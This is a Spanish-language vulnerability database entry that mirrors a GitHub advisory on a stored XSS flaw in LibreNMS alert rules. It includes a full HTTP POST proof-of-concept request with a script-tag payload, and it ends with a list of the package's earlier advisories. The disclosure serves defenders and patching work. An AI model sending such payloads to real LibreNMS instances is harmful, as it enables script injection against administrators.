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LibreNMS has a Stored XSS in Alert Rule

  • Publicada: 18.02.2026
  • Actualizado: 11.10.2026 10:22

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.

Details

The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.

<td><i>" . e($rule_display) . "</i></td>

PoC

Request PoC:

POST /alert-rule HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF
X-Requested-With: XMLHttpRequest
Content-Length: 718
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules
Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D
Priority: u=0

_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=

Steps to reproduce:

  1. Create and save an alert rule within a device with the following values: <img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" />

  2. Injected JavaScript is executed: <img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />

Impact

Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer librenms/librenms < 26.2.0 26.2.0

Referencias

Puntuación CVSS 4.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
librenms/librenms
Publicada
18.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-6xmx-xr9p-58p7 - CC BY 4.0

Historial de vulnerabilidades: librenms/librenms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (106) en el archivo
Entradas en total
106
Primera → última
10.2019 08.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 39
  • Media 56
  • Baja 6

Divulgaciones por año

Gravedad:
  1. LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
    Alta · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page
    Alta · 8.1 CVE-2026-84189 < 26.7.0 26.7.0
  3. LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
    Alta CVE-2026-55182 >= 21.6.0, < 26.5.0 26.5.0
  4. LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
    Alta CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  5. LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
    Alta · 8.8 CVE-2026-26990 < 26.2.0 26.2.0
  6. LibreNMS has a Stored XSS in Alert Rule esta entrada
    Media · 4.3 CVE-2026-26989 < 26.2.0 26.2.0
  7. LibreNMS: SQL Injection in ajax_table.php spreads through a covert data stream.
    Alta CVE-2026-26988 < 26.2.0 26.2.0
  8. LibreNMS contains an authenticated SQL Injection vulnerability
    Alta · 7.1 CVE-2020-36947 <= 1.46 sin corrección
  9. LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
    Alta · 7.5 CVE-2025-54138 < 25.7.0 25.7.0
  10. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
    Alta · 7.5 CVE-2024-52526 < 24.10.0 24.10.0
  11. LibreNMS has an Authenticated OS Command Injection
    Crítica · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  12. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php
    Alta · 7.5 CVE-2024-51497 < 24.10.0 24.10.0
  13. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/html/pages/wireless.inc.php
    Alta · 7.5 CVE-2024-51496 < 24.10.0 24.10.0
  14. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
    Alta · 7.5 CVE-2024-51495 < 24.10.0 24.10.0
  15. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    Alta · 7.5 CVE-2024-51494 < 24.10.0 24.10.0
  16. LibreNMS has a Persistent XSS from Insecure Input Sanitization Affects Multiple Endpoints
    Alta · 7.2 CVE-2024-50355 < 24.10.0 24.10.0
  17. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.php
    Alta · 7.5 CVE-2024-50352 < 24.10.0 24.10.0
  18. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
    Alta · 7.5 CVE-2024-50351 < 24.10.0 24.10.0
  19. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    Alta · 7.5 CVE-2024-50350 < 24.10.0 24.10.0
  20. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
    Alta · 7.5 CVE-2024-49764 < 24.10.0 24.10.0
  21. Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
    Alta · 7.5 CVE-2024-49759 < 24.10.0 24.10.0
  22. LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
    Alta · 7.5 CVE-2024-49754 < 24.10.0 24.10.0
  23. LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
    Alta · 7.2 CVE-2024-47524 < 24.9.0 24.9.0
  24. LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction
    Alta · 7.2 CVE-2024-32480 < 24.4.0 24.4.0
  25. LibreNMS uses Improper Sanitization on Service template name leads to Stored XSS
    Alta · 7.1 CVE-2024-32479 < 24.4.0 24.4.0
  26. LibreNMS vulnerable to SQL injection time-based leads to database extraction
    Alta · 8.8 CVE-2024-32461 < 24.4.0 24.4.0
  27. SQL injection in librenms/librenms
    Alta · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  28. Cross site scripting in librenms
    Alta · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  29. LibreNMS Cross-site Scripting vulnerability
    Alta · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  30. Deserialization of Untrusted Data in librenms/librenms
    Alta · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  31. Cross-site Scripting in librenms/librenms
    Alta · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  32. Insufficient Session Expiration in librenms/librenms
    Crítica · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  33. Command injection in librenms
    Alta CVE-2022-29712 < 22.4.0 22.4.0
  34. LibreNMS Information Disclosure
    Crítica · 9.8 CVE-2019-10665 <= 1.47 sin corrección
  35. LibreNMS arbitrary OS commands execution
    Crítica · 9.8 CVE-2018-20434 = 1.46 sin corrección
  36. LibreNMS SQL Injection
    Alta · 8.8 CVE-2018-20678 < 1.65 1.65
  37. Improper Access Control in librenms
    Alta · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  38. Improper Authorization in librenms
    Alta · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  39. Path traversal in librenms/librenms
    Crítica · 9.8 CVE-2021-44278 <= 21.11.0 sin corrección
  40. Exposure of Resource to Wrong Sphere in LibreNMS
    Alta · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  41. SQL Injection in librenms
    Alta · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  42. SQL Injection in LibreNMS
    Alta · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  43. SQL Injection in LibreNMS
    Alta · 8.1 CVE-2019-12465 < 1.53 1.53
  44. Path Traversal in LibreNMS
    Alta · 7.5 CVE-2019-12464 < 1.53 1.53
  45. Improper Encoding or Escaping of Output and Injection in LibreNMS
    Alta · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

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